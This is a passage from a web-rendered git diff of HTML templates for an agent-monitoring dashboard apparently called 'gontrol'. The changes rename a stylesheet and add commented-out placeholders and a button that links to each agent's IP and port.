logEntry.textContent = message;
|
||||
terminal.appendChild(logEntry);
|
||||
terminal.scrollTop = terminal.scrollHeight;
|
||||
}
|
||||
});
|
|
@ -5,7 +5,7 @@
|
|||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-QWTKZyjpPEjISv5WaRU9OFeRpok6YctnYmDr5pNlyT2bRjXh0JMhjY6hW+ALEwIH" crossorigin="anonymous">
|
||||
<link rel="stylesheet" type="text/css" href="static/stylesheet.css">
|
||||
<link rel="stylesheet" type="text/css" href="static/gontrol-stylesheet.css">
|
||||
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.3/dist/js/bootstrap.bundle.min.js"></script>
|
||||
<script src="https://unpkg.com/htmx.org@1.9.12"></script>
|
||||
<!-- Include Cytoscape.js -->
|
||||
|
@ -95,6 +95,7 @@
|
|||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- <div id="agentConnect">Future Agent Tabs</div> -->
|
||||
|
||||
<!-- Offcanvas for Agent Details -->
|
||||
<div class="offcanvas offcanvas-end" tabindex="-1" id="offcanvasRight" aria-labelledby="offcanvasRightLabel" data-bs-scroll="true">
|
||||
|
|
|
@ -8,6 +8,7 @@
|
|||
<p>Initial Contact: {{.InitialContact}}</p>
|
||||
<p>Last Contact: {{.LastContact}}</p>
|
||||
<p>Hostname: {{.HostName}}</p>
|
||||
<!-- <button hx-get="/proxyAgent?ip={{.IPv4Address}}" hx-target="#agentConnect" hx-swap="innerHTML">Open</button> -->
|
||||
<!-- <button class="btn btn-warning" hx-get="/proxyAgent?ip={{.IPv4Address}}&port={{.AddPort}}" hx-target="#agentConnect" hx-swap="innerHTML">Proxy</button> -->
|
||||
<a class="btn btn-warning" href="/proxyAgent?ip={{.IPv4Address}}&port={{.AddPort}}" hx-target="_blank">Proxy</a>
|
||||
<a href="http://{{.IPv4Address}}:{{.AddPort}}" class="btn btn-info" target="_blank">Open</a>
|
||||
</div>
|
||||
|
|
Loading…
Reference in New Issue